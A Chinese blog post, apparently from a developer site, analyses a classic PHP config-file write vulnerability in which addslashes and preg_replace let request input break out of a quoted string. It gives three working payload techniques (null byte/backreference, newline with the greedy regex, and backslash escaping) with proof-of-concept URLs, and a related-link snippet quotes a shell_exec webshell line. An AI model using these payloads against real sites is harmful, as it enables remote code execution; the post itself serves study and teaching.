@author: Dlive

P牛在小密圈中发的一个有关使用PHP正则配合写配置文件导致Getshell的经典漏洞

漏洞代码是这样的:

<?php
//ph.php
$str = addslashes($_GET['option']);
$file = file_get_contents('option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
var_dump($file);
file_put_contents('option.php', $file);
<?php
//option.php
$option='123';

0x01 利用%00$0

这是我当时利用的一个方法(感觉我这个方法绕了好大一个弯儿QAQ)

payload:

http://192.168.204.238/test/ph.php?option=;phpinfo();
http://192.168.204.238/test/ph.php?option=%00

第二次传入的%00换为$0可达到相同效果

参考php手册对\0$0的描述:

http://php.net/manual/zh/function.preg-replace.php
\\0和$0代表完整的模式匹配文本

%00addslashes()转为\0,而\0preg_replace函数的第二个参数中代表“匹配到的全部内容”($0同理)

此时preg_replace要执行的代码如下

preg_replace('|\$option=\'.*\';|',"\$option='\\0';",$file);

preg_replace('|\$option=\'.*\';|',"\$option='$0';",$file);

即执行

preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);

成功闭合单引号写入如下shell

<?php
$option='$option=';phpinfo();';';

0x02 利用换行符%0a和正则匹配缺陷

第一次传入 aaa';phpinfo();%0a//

此时文件内容

$option='aaa\';phpinfo();
//';

第二次传入随意字符串,如bbb, 正则代码.*会将匹配到的aaa\替换为bbb (正则匹配的缺陷)

此时文件内容(成功写入恶意代码)

$option='bbb';phpinfo();
//';

0x03 利用反斜杠转义单引号

payload:

http://192.168.204.238/test/ph.php?option=\';phpinfo();//

虽然addslashes将\转义为\\但是经过preg_replace处理后\\又变为了\

view-source:http://192.168.204.247/test/ph.php?option=\

string(19) "after addslashes:\\"
string(42) "second param of preg_replace:$option='\\';"
string(37) "after preg_replace:<?php
$option='\';"

最后的单引号被反斜杠转义

PHP正则经典漏洞的更多相关文章

  1. PHP配置文件经典漏洞

    phithon师父在小蜜圈里放了一个经典的配置文件写入问题漏洞. <?phpif(!isset($_GET['option'])) die();$str = addslashes($_GET[' ...

  2. 【经典漏洞案例】NSA黑客工具包——Windows 0day验证实验

    还记得今年4月中旬,Shadow Brokers(影子经纪人)黑客组织发布出一份震惊世界的机密文档,其中包含了多个Windows 远程漏洞利用工具,此工具集覆盖大量的Windows服务 器,可以被任何 ...

  3. 经典漏洞-后台备份数据库getshell

    由于接触安全时间不多,一些老的getshell方法不是很清楚.这次碰到了个老站,正好学习了一下. 首先这边是用户名可以猜测出来的,因为输入错误的用户名显示用户名不存在,如果存在的话会显示密码错误. 爆 ...

  4. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

  5. Java 正则表达式漏洞

    由于工作原因,一直没有时间把在线上遇到的问题总结一下.还好,今天我来了. 废话少说了. 主要说一下“java 正则表达式中的一个漏洞”,详细问题描述 http://bugs.sun.com/bugda ...

  6. 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》

    本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...

  7. 手工挖掘web常见漏洞时的一些经验总结

    一.前提: 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除 漏洞的本质 数据与指令的混淆 对用户输入信息过滤不严判断失误,误将数据当指令 二.经典漏洞: 1.身份认证 常用弱口令/ ...

  8. SSRF漏洞详解

    0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...

  9. google hack使用集锦

    转载:https://blog.csdn.net/weixin_42127015/article/details/84472777 关于google hack的几个基础过滤器使用[请务必谨记,过滤器虽 ...

随机推荐

  1. (4)分布式下的爬虫Scrapy应该如何做-规则自动爬取及命令行下传参

    本次探讨的主题是规则爬取的实现及命令行下的自定义参数的传递,规则下的爬虫在我看来才是真正意义上的爬虫. 我们选从逻辑上来看,这种爬虫是如何工作的: 我们给定一个起点的url link ,进入页面之后提 ...

  2. 原生js实现五子棋

    为什突然做这个,因为这是个笔试题,拖了一个月才写(最近终于闲了O(∩_∩)O),废话不多说,说说这个题吧 题目要求 编写一个单机[五子棋]游戏,要求如下: 1.使用原生技术实现,兼容 Chrome 浏 ...

  3. Fiddler安卓抓包详细教程

    电脑端抓包一般图方便就用浏览器自带的,最近需要分析安卓一个APP的HTTP请求,尝试了wireshark(功能太强大了,然而我并不会用),tcpdump(用起来还是比较麻烦),网上搜了一下,还是使用F ...

  4. 「暑期训练」「基础DP」 Common Subsequence (POJ-1458)

    题意与分析 很简单:求最长公共子序列. 注意子序列与子串的差别:一个不连续一个连续.一份比较好的参考资料见:https://segmentfault.com/a/1190000002641054 状态 ...

  5. Selenide 简单实现自动化测试

    Selenide 网址:http://selenide.org/ github 地址:https://github.com/codeborne/selenide Selenide 早些年一直使用,中间 ...

  6. 5.爬虫 requests库讲解 高级用法

    0.文件上传 import requests files = {'file': open('favicon.ico', 'rb')} response = requests.post("ht ...

  7. Visual Studio 2012安装包

    点击下载

  8. C++学习---- static关键字用法总结

    static: 作用:存储在静态数据区的变量会在程序刚开始运行时就完成初始化,也是唯一的一次初始化.共有两种变量存储在静态存储区:全局变量和static变量. 1.隐藏:(静态全局变量和静态函数)   ...

  9. day-10 sklearn库实现SVM支持向量算法

    学习了SVM分类器的简单原理,并调用sklearn库,对40个线性可分点进行训练,并绘制出图形画界面. 一.问题引入 如下图所示,在x,y坐标轴上,我们绘制3个点A(1,1),B(2,0),C(2,3 ...

  10. linux备忘录-例行性工作排程 (crontab)

    例行性工作排程 例行性工作排程分为两类 at at是只执行一次就结束的指令安排.要想使用at,必须要有atd服务的支持. crontab crontab是每隔一段时间自动执行的指令安排.crontab ...